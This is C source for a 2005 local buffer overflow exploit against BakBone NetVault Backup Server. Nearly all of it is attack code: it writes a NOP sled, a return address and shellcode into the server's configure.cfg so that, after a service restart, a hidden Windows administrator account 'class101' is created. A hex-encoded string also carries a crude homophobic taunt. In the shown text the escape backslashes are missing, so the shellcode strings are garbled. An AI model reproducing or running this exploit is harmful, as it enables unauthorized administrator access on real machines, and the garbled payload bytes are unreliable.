/*
for more informations class101.org/netv-locsbof.pdf
*/

#include <stdio.h>
#include <string.h>
#ifdef WIN32
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
#else
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#endif

char scode1[]=
/*add u:class101 p:class101 (*Administrators *users)*/
"x33xC9x83xE9xC7xE8xFFxFFxFFxFFxC0x5Ex81x76x0Ex15"
"x90x39xE8x83xEExFCxE2xF4xE9x78x7FxE8x15x90xB2xAD"
"x29x1Bx45xEDx6Dx91xD6x63x5Ax88xB2xB7x35x91xD2x0B"
"x3BxD9xB2xDCx9Ex91xD7xD9xD5x09x95x6CxD5xE4x3Ex29"
"xDFx9Dx38x2AxFEx64x02xBCx31x94x4Cx0Bx9ExCFx1DxE9"
"xFExF6xB2xE4x5Ex1Bx66xF4x14x7BxB2xF4x9Ex91xD2x61"
"x49xB4x3Dx2Bx24x50x5Dx63x55xA0xBCx28x6Dx9FxB2xA8"
"x19x1Bx49xF4xB8x1Bx51xE0xFCx9Bx39xE8x15x1Bx79xDC"
"x10xECx39xE8x15x1Bx51xD4x4AxA1xCFx88x43x7Bx34x80"
"xFAx5ExD9x88x7Dx08xC7x62x1BxC7xC6x0FxFDx7ExC6x17"
"xEAxF3x54x8Cx3BxF5x41x8Dx35xBFx5AxC8x7BxF5x4DxC8"
"x60xE3x5Cx9Ax35xF3x55x89x66xE3x08xD8x24xB0x5Ax84"
"x74xE3x4AxD9x25xA1x19xC7x54xD4x7DxC8x33xB6x19x86"
"x70xE4x19x84x7AxF3x58x84x72xE2x56x9Dx65xB0x78x8C"
"x78xF9x57x81x66xE4x4Bx89x61xFFx4Bx9Bx35xF3x55x89"
"x66xE3x08xD8x24xB0x16xA9x51xD4x39xE8";


static char payload[8000];
FILE *fl, *fl2;
char *fp, line[1024];

int check(int argc,char *argv[]),i=0,j=0;
int check2();
void ver();
void usage(char* us);

char EOL[]="x0Dx0A";
char esp[]="xDDx20x02x10";
char vul[]="x4Ex61x6Dx65x3D";
char fun[]="x3Cx63x30x64x33x72x3Ex20x27x6Cx6Fx20x49x27x6Dx20"
"x67x61x79x20x49x27x6Dx20x66x72x6Fx6Dx20x49x48x53";


int main(int argc,char *argv[])
{
ver();
if (argc>5||argc<2||atoi(argv[1])>2||atoi(argv[1])<1){usage(argv[0]);return -1;}
if (check(argc,argv)==-1){return -1;}
while (!feof(fl))
{
fgets(line, sizeof(line),fl);
if (strstr(line,vul)){
i++;j++;}
if (i==2){
strcpy(line,vul);
memset(line+5,0x90,600);
memcpy(line+252,esp,4);
memcpy(line+16,fun,32);
memcpy(line+260,scode1,strlen(scode1));
memcpy(line+605,EOL,2);i=0;j++;
}
strcat(payload,line);
}
if (strstr(payload,vul)==NULL||j==1){
printf("[+] "%s" isn't a default NetVault file..n",fp);return -1;}
if (check2()==1){
fprintf(fl,"%s",payload);
printf("[+] "%s" correctly exploitedn",fp);
printf("[+] a service restart is needed to execute the payloadn");
}
else printf("[+] can't write to "%s", something is wrong...n",fp);
return 0;

}

int check(int argc,char *argv[])
{
if (argc>2){fp=argv[2];}
else fp="configure.cfg";
if ((fl =fopen(fp,"r+"))==NULL){
printf("[+] "%s" not found or no rights to read/writen",fp);return -1;}
return 1;
}

int check2()
{
if ((fl =fopen(fp,"r+"))==NULL)
return -1;
else return 1;
}

void usage(char* us)
{
printf("[+] . 101_netv.exe Target (adduser mode) n");
printf("[+] . 101_netv.exe Target YourFile.cfg (adduser mode) n");
printf("TARGETS: n");
printf("[+] 1. Win2k SP4 Server English (*) - v5.0.2195 n");
printf("[+] 1. Win2k SP4 Pro English (*) - v5.0.2195 n");
printf("[+] 1. WinXP SP0 Pro. English - v5.1.2600 n");
printf("[+] 1. WinXP SP1 Pro. English (*) - v5.1.2600 n");
printf("[+] 1. WinXP SP1a Pro. English (*) - v5.1.2600 n");
printf("[+] 1. WinXP SP2 Pro. English (*) - v5.1.2600.2180 n");
printf("[+] 1. Win2k3 SP0 Server English (*) - v5.2.3790 n");
printf("NOTE: n");
printf("The exploit mods the netvault's cfg file to add a win32 n");
printf("user:class101 pass:class101 after a restart of the netvault service. n");
printf("A wildcard (*) mean tested working, else, supposed working. n");
printf("A symbol (-) mean all. n");
printf("Compilation msvc6, cygwin, Linux. n");
return;
}

void ver()
{
printf(" n");
printf("==================================[v0.1]====n");
printf("=====BakBone NetVault, Backup Server===============n");
printf("=====Computername, Local Buffer Overflow Exploit=========n");
printf("======coded by class101=======[Hat-Squad.com 2005]=====n");
printf("============================================n");
printf(" n");
}

// www.Syue.com [2005-04-01]